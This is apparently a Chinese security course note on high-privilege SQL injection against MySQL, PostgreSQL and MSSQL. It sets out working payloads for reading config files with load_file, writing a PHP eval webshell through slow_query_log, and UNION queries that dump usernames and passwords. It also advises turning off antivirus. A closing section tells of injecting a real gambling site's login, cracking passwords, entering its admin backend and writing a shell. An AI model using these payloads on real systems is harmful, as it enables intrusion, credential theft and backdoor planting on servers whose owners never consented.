Web学习25

  1. 知识点
  2. 案例
    1. MYSQL-root高权限读写注入
    2. PostgreSQL-高权限读写注入
    3. MSSQL(SQLserver)-sa高权限读写执行注入
    4. 结尾彩蛋-某Q牌违法登录框注入
  3. 思维导图

知识点

1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库
3、SQL注入-P哦是通过热SQL数据库

详细点:
Access无高权限注入点只能猜解,还是暴力猜解
MYSQL, PostgreSQL,MSSQL高权限注入点-可升级读写执行等

案例

MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL(SQLserver)-sa高权限读写执行注入
结尾彩蛋-某Q牌违法登录框注入


sql语句的基本语法,可以读取数据库里的文件信息


在d盘写入1.txt,内容为xxxx

MYSQL-root高权限读写注入

相关文章:https://cnblogs.com/hackxf/p/8975501.html

在实际环境里读取数据,读到了x123

成功在d盘写入了123.txt,内容为yyy

输入?id=2 UNION SELECT 1,load_file(“D:/phpstudy/PHPTutorial/WWW/blog/config/conn.php”),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到了数据库的用户名和密码

通过报错出来的地址,写一个后门代码到给出的地址,搞这些小实验的时候要把杀毒软件关掉,不然会被误杀掉。

mysql的配置文件,框标出来的部分是配置是否要限制读写的操作,目前是空的,也就是不限制读写。如果写一个C:/,那么就会限制只能在C的盘符上进行操作,而小迪的环境搭在D盘,所以就不能写后门代码了。

这个时候譬如说myadmin会有root用户的登录界面,如果能获取到用户名和密码,那就可以使用sql语句去突破secure_file_priv的配置了
set global slow_query_log = 1;
set globla slow_query_log_file = ‘shell路径’;
select’<?php eval($_GET[A]?)>’ or SLEEP(1);

global slow_query_log_file(漫日志)这个函数就是将你执行过的sql语句全部保存到一个文件里,所以就可以通过这个函数写入一个后门代码。

总结:
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,如果没有就要借助phpmyadmin或能够直接连上对方数据库进行绕过

PostgreSQL-高权限读写注入

-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select ‘null’,null,null,null 错误
and 1=2 union select null,’null’,null,null 正常
and 1=2 union select null,null,’null’,null 正常
and 1=2 union select null,null,null,’null’ 错误
-获取信息:
and 1=2 union select null,current_user,current_database(),null分别回显用户和数据库名

and 1=2 union select null,version(),null,null回显版本

-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’

2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,strint_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’

-获取数据:

and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users

-补充-获取dba用户 (同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE

参考:https://www.freebuf.com/sectool/249371.html

MSSQL(SQLserver)-sa高权限读写执行注入

-测列数:
order by 4
and 1=2 union all select null,null,null,null

-测显位:2,3
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,’s’,null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null





-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null

获取除了manage以外的表名

-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1)from sysobjects),null,null

and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2)from sysobjects),null,null

and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3)from sysobjects),null,null

敲4的时候就没了,一共就3个.

and 1=2 union all select null,username,password,null from manage

结尾彩蛋-某Q牌违法登录框注入

典型的sql语句报错

asp,net搭建的搭配的数据库一般是sqlserver

输入admin12’ and (select count(*) from sysobjects)>0—+&password=213213,回显正常

输入admin12’ and (select count(*) from msysobjects)>0—+&password=213213,回显异常

这样测试说明了数据库是SQLserver

说明字段15个

回显位有5,开始进行上面的公式注入操作就行了

sqlmap脚本自动化注入

获取数据库名称

获取当前数据库名称

获取当前数据库下的表名

获取列名

获取账号和密码

解密得到真实密码

进入到菠菜网站的后台

判断当前用户是否为高权限用户

True!

直接写入shell代码

对方ip地址出来了

读取服务器版本

思维导图